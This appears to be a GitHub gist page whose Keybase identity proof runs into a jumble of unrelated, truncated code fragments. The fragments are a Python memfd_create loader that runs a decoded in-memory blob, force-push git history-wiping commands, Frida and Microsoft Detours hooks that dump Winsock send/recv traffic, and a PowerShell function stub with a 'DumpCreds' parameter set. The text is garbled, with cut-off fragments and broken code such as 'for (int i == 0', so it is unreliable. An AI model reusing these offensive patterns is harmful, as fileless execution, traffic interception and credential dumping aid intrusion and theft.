ivanvza

I hereby claim:

I am ivanvza on github.
I am ivanvza (https://keybase.io/ivanvza) on keybase.
I have a public key whose fingerprint is EC75 A619 6EDC 9770 AF59 1F9C 80B5 8038 E91F C784

To claim this, I am signing this object:

	import ctypes, os, base64, zlib
	l = ctypes.CDLL(None)
	s = l.syscall
	c = base64.b64decode (b'eNorKMrMK1FQykjNyclXKM8vyklRAgBHBAbu')
	e = zlib.decompress(c)
	f = s(319, '', 1) # syscall to sys_memfd_create
	'''
	memfd_create() [319] creates an anonymous file and returns a file
	descriptor that refers to it. The file behaves like a regular
	file, and so can be modified, truncated, memory-mapped, and so

	git checkout --orphan temp_branch
	git add -A
	git commit -am "First Commit"
	git branch -D main
	git branch -m main
	git push -f origin main

	import sys
	import pefile
	import frida

	def on_message (message,data):
	print("[%s]-%s"%(message,data))

	def main(target_process):
	session=frida.attach(target_process) # console.log("sendcalledfrom:"+Thread.backtrace(this.context,Backtracer.ACCURATE).map(DebugSymbol.fromAddress).join("\\n")+"");
	script=session.create_script("""

	typedef int(WSAAPI* tWSA)(SOCKET, const char*, int, int);

	tWSA oSend = nullptr;
	tWSA oRecv = nullptr;

	int WSAAPI hkSend(SOCKET s, const char * buff, int len, int flags)
	{
	printf("[SENT]\nLen: %d\nData (hex): ");
	for (int i == 0; i < len; ++i)
	printf("%02X ", (byte)buff[i]);

	#include <windows.h>
	#include <fstream> // Required to output logs to files
	#include <iomanip> // Required to display the hex properly

	#include "detours.h" // Version 3.0 use for this hook. Be sure to include the library and includes to your project in visual studio
	// Detours: https://www.microsoft.com/en-us/research/project/detours/

	#pragma comment(lib,"detours.lib") // Need to include this so we can use Detours
	#pragma comment(lib,"ws2_32.lib") // Required to hook Send and Recv since they both reside in this library

	function Jou-Ma
	{
	<#
	.SYNOPSIS
	LEL

	#>

	[CmdletBinding(DefaultParameterSetName="DumpCreds")]
	Param(